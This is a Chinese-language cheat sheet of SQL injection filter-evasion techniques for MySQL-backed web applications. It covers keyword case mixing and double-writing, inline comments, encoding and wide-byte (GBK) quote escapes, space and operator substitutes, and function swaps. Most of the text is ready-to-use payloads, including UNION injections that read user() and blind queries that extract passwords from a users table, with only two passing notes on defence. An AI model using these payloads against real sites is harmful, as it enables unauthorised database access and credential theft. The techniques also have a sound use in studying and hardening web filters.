1、大小写绕过
改变语句中单词的大小写即可,如:select=>SelEct
2、双写绕过
如下:
ununionion seselectlect
3、内联注释绕过
- 内联注释就是把一些特有的仅在MYSQL上的语句放在 /!../
中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行。
select * from users where id = -1 union /*!select*/ 1,2,3;
4、编码绕过
进制绕过、url编码绕过、ascii编码绕过...
unicode编码对部分符号的绕过:
单引号=> %u0037 %u02b9
空格=> %u0020 %uff00
左括号=> %u0028 %uff08
右括号=> %u0029 %uff09
5、<>绕过
某些网站过滤了“<>”符号才行:unio<>n sel<>ect
6、注释符绕过
uni/**/on se/**/lect
7、对空格的绕过
以下均可代替空格:
/**/ (经常用)
%20 %09
()
回车(url编码中的%0a)
`(tap键上面的按钮)
tap
两个空格
还有一种如下:使用浮点数:
select * from users where id=8E0union select 1,2,3
select * from users where id=8.0 select 1,2,3
8、对or/and的绕过
and = &&
or = ||
9、对等号=的绕过
不加通配符的like执行的效果和=一致,所以可以用来绕过;
rlike的用法和上面的like一样,没有通配符效果和=一样;
regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配
用大于号和小于号表示
<> 等价于 != ,所以在前面再加一个!结果就是等号了
如:
select * from users where username like "test%";
select * from users where id like 1;
select * from users where id regexp 1;
select * from users where id > 1 and id < 3;
?id=1 or !(1 <> 1)或者1 !(<>) 1
10、对单引号的绕过
使用十六进制:
select column_name from information_schema.tables
where table_name=0x7573657273;
宽字节:(常用在web应用使用的字符集为GBK时,并且过滤了引号,就可以试试宽字节。)
%bf%27 %df%27 %aa%27
宽字节注入:
过滤 ' 的时候往往利用的思路是将 ' 转换为 \' 。
在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路:
(1)%df 吃掉 \ 具体的方法是 urlencode('\) = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(')符号在外面:
id=-1%df%27union select 1,user(),3--+
(2)将 \' 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。
一般产生宽字节注入的PHP函数:
1.replace():过滤 ' \ ,将 ' 转化为 \' ,将 \ 转为 \\,将 " 转为 \" 。用思路一。
2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:' , " , \ 。用思路一
(防御此漏洞,要将 mysql_query 设置为 binary 的方式)
3.mysql_real_escape_string():转义下列字符:
\x00 \n \r \ ' " \x1a
(防御,将mysql设置为gbk即可)
11、对逗号的绕过
盲注中使用 from n1 for n2 ,其中n1代表从n1个开始读取n2长度的子串
select substr("string",1,3);
等价于 select substr("string" from 1 for 3);
使用join关键字来绕过
union select 1,2,3
等价于 union select * from (select 1)a join (select 2)b join(select 3)c
使用offset关键字:
适用于limit中的逗号被过滤的情况
limit 2,1等价于limit 1 offset 2
12、过滤函数绕过
sleep() -->benchmark()
and sleep(1)
等价于 and benchmark(1000000000,1)
group_concat()–>concat_ws()
select group_concat("str1","str2");
等价于 select concat_ws(",","str1","str2")
其他如下:hex()、bin() ==> ascii()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
13、绕过union,select,where等
(1)使用注释符绕过:
常用注释符:
//,-- , /**/, #, --+, -- -, ;,%00,--a
用法:
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
(2)使用大小写绕过:
id=-1'UnIoN/**/SeLeCT
(3)内联注释绕过:
id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
(4) 双关键字绕过(若删除掉第一个匹配的union就能绕过):
id=-1'UNIunionONSeLselectECT1,2,3–-
持续更新中。。。。